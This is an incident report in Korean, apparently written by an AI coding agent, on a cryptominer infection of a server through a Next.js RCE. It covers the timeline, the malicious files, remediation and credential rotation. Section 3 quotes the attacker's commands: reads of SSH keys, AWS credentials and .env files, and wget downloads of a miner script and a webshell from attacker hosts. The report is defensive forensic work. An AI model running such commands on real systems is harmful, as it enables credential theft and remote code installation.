Server3 보안 사고 조사 보고서
작성일: 2026-01-02
작성자: Claude Code
대상 서버: Server3 (192.168.0.203)
1. 사고 개요
1.1 발견된 공격
Server3에서 암호화폐 채굴 악성코드(XMRig)가 발견됨.
1.2 침해 원인
| 항목 |
내용 |
| 취약 소프트웨어 |
Next.js 16.0.5 (grantech-frontend) |
| 취약점 |
React Flight Protocol RCE |
| CVE |
GHSA-9qr9-h5gf-34mp |
| 심각도 |
Critical |
1.3 공격 방식
2. 공격 타임라인
| 날짜 |
이벤트 |
| 2025-12-10 |
최초 공격 시도 (웹쉘 업로드 시도) |
| 2025-12-23 |
XMRig 채굴기 설치 |
| 2025-12-31 |
채굴기 재설치 시도 |
| 2026-01-02 |
침해 발견 및 조치 완료 |
3. 해커가 실행한 명령어
PM2 로그에서 발견된 공격 명령어:
| 공격 유형 |
명령어 |
목적 |
| SSH 키 탈취 |
cat ~/.ssh/id_rsa | base64 |
다른 서버 침투용 |
| AWS 자격증명 탈취 |
cat ~/.aws/credentials | base64 |
클라우드 리소스 접근 |
| 환경변수 탈취 |
cat .env, cat ../.env 등 |
API 키, 비밀키 탈취 |
| 채굴기 설치 |
wget https://72.62.72.248/.../immunify360firewall3.sh |
암호화폐 채굴 |
| 웹쉘 업로드 |
wget -O public_html/Nx.php https://www.cmer.site/uploads/Nx.php |
백도어 설치 (실패) |
4. 발견된 악성 파일
4.1 채굴기 파일 (/dev/shm/.cache/)
| 파일명 |
크기 |
설명 |
| xmrig |
8MB |
XMRig 채굴기 바이너리 |
| kworker-xfs |
8MB |
커널 프로세스로 위장한 채굴기 |
| config.json |
1KB |
채굴 풀 설정 (moneroocean.stream) |
| miner |
18KB |
채굴기 실행 스크립트 |
4.2 추가 악성 파일
| 경로 |
설명 |
| /dev/shm/.x/m |
7MB 채굴기 바이너리 |
| /tmp/immunify360firewall.sh |
채굴기 설치 스크립트 |
| ~/immunify360firewall/ |
채굴기 설치 폴더 (삭제됨) |
5. 조치 내역
5.1 즉시 조치 (2026-01-02)
| 순서 |
조치 |
상태 |
| 1 |
grantech-frontend PM2 중지 |
✅ 완료 |
| 2 |
채굴기 프로세스 종료 |
✅ 완료 |
| 3 |
SSH 백도어 키 삭제 |
✅ 완료 |
| 4 |
systemd user 서비스 삭제 |
✅ 완료 |
| 5 |
~/immunify360firewall/ 폴더 삭제 |
✅ 완료 |
5.2 취약점 패치
| 조치 |
내용 |
| Next.js 업데이트 |
16.0.5 → 16.1.1 |
| npm audit 결과 |
0 vulnerabilities |
| 애플리케이션 재빌드 |
✅ 완료 |
5.3 인증정보 교체
| 항목 |
조치 |
| SSH 키 (Server4) |
재생성 (damon@autonet → damon@server4) |
| Server1 authorized_keys |
새 키 등록, 구 키 제거 |
| Server2 authorized_keys |
새 키 등록, 구 키 제거 |
| Server3 authorized_keys |
새 키 등록, 구 키 제거 |
| Backend SECRET_KEY |
재생성 완료 |
5.4 잔존 파일 정리 (재점검 시)
| 경로 |
조치 |
| /dev/shm/.cache/ |
전체 삭제 |
| /dev/shm/.x/ |
전체 삭제 |
| /tmp/miner.log |
삭제 |
| /tmp/xmrig.log |
삭제 |
| /tmp/immunify360firewall.sh |
삭제 |
6. 영향 범위 분석
6.1 서버별 영향
| 서버 |
IP |
영향 |
비고 |
| Server1 |
192.168.0.201 |
✅ 없음 |
Next.js 미사용 |
| Server2 |
192.168.0.202 |
✅ 없음 |
Next.js 14.1.0 (취약 범위 외) |
| Server3 |
192.168.0.203 |
🔴 침해됨 |
Next.js 16.0.5 → 패치 완료 |
| Server4 |
개발서버 |
✅ 없음 |
Windows, SSH 키 재생성 |
6.2 취약 버전 범위
7. 공격자 인프라
| 도메인/IP |
용도 |
| 72.62.72.248 |
채굴기 스크립트 배포 서버 |
| www.cmer.site |
웹쉘 배포 서버 |
| 0x0.st |
파일 공유 (악성코드 호스팅) |
| moneroocean.stream |
Monero 채굴 풀 |
8. 재발 방지 대책
8.1 구현 완료
| 대책 |
파일 |
| npm audit 스크립트 |
scripts/security-audit.sh |
| Git pre-push hook |
scripts/git-hooks/pre-push |
| 주간 보안 점검 |
scripts/weekly-security-check.sh |
| package.json audit 명령 |
npm run audit, npm run audit:fix |
8.2 권장 사항
-
패키지 자동 업데이트
- GitHub 사용 시 Dependabot 활성화
- 또는 Renovate Bot 설정
-
정기 보안 점검
-
네트워크 보안
-
모니터링
- CPU 사용량 이상 알림 설정
- 의심스러운 프로세스 모니터링
9. 교훈
- 프레임워크 취약점 주의: Node.js 자체가 아닌 Next.js 프레임워크의 취약점이 원인
- 정기 업데이트 필수:
npm audit를 정기적으로 실행
- 다중 서버 점검: 한 서버 침해 시 연결된 모든 서버 점검 필요
- 인증정보 교체: 침해 후 모든 키/비밀번호 교체 필수
10. 최종 상태
| 항목 |
상태 |
| 채굴기 제거 |
✅ 완료 |
| 취약점 패치 |
✅ 완료 |
| SSH 키 교체 |
✅ 완료 |
| SECRET_KEY 교체 |
✅ 완료 |
| 서비스 정상화 |
✅ 완료 |
| 보안 자동화 |
✅ 설정 완료 |
결론: Server3 보안 사고는 완전히 조치되었으며, 재발 방지를 위한 자동화 시스템이 구축되었습니다.